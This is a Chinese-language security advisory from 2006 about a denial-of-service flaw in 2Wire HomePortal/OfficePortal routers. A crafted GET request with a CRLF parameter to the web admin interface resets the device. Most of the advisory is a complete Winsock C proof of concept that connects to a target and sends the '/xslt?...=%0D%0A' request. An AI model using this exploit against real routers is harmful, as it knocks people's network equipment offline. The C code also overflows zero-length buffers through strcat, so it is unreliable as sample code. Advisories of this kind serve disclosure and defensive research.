信息来源：绿盟科技
发布日期：2006-08-25
更新日期：2006-08-28
受影响系统：
2wire HomePortal Series
2wire OfficePortal Series
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 19634
2Wire HomePortal和OfficePortal都是2Wire推出的小型路由器设备。
2Wire路由器的Web管理接口处理用户请求时存在漏洞，远程攻击者可能利用此漏洞对设备执行拒绝服务攻击。
如果向2Wire路由器的WEB管理接口发送了包含有换行符参数的特制GET请求的话，就会导致拒绝服务，必须重启路由器才能恢复正常运行。
<*来源：preth00nker （
Preth00nker@gmail.com）
链接：
http://secunia.com/advisories/21583/
http://www.mexhackteam.org/prethoonker/DoS_ADV_2Wire.txt
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)
#pragma comment(lib,"libws2_32.a")
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "winsock2.h"
unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;
int main(int argc, char *argv[])
{
printf("\n################################################\n");
printf("####\n");
printf("#### PoC of DoS 2wire_Gateway\n");
printf("#### By Preth00nker\n");
printf("####
http://www.mexhackteam.org\n");
printf("####\n");
printf("####\n\n");
if (argc<4){
printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
printf("\n[I.E.] %s 192.168.1.254 80 PAGE\n",argv[0]);
return 0;
}
//Crear socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
SOCKET wsck;
//Estructuras
struct sockaddr_in Wins;
struct hostent *target;
//Wins
Wins.sin_family=AF_INET;
Wins.sin_port=htons((short)atoi(argv[2]));
target=gethostbyname(argv[1]);
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
//llamamos al socket
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
//Verifica por error
if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
printf("Socket creado correctamente!.. hWndl: %d",wsck);
//Conecta
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
WSACleanup();
return 0;
printf("\nError al conectar =!..");
}
printf("\nConectado!..");
//Make a bad query and send it ..Mwajuajua!..
strcat(badreq,"GET /xslt?");
strcat(badreq,argv[3]);
strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
strcat(badreq,"Accept-Language: es-mx\r\n");
strcat(badreq,"User-Agent: MexHackTeam\r\n");
strcat(badreq,"Host: ");
strcat(badreq,argv[1]);
strcat(badreq, "\r\n\r\n\r\n");
send(wsck , badreq ,(int)strlen(badreq), 0);
printf("\nDatos Mandados!..");
//finalized
Sleep(100);
printf("\nThat's all, Check this out!...\n");
WSACleanup();
return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////
建议：
--------------------------------------------------------------------------------
厂商补丁：
2wire
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.2wire.com/
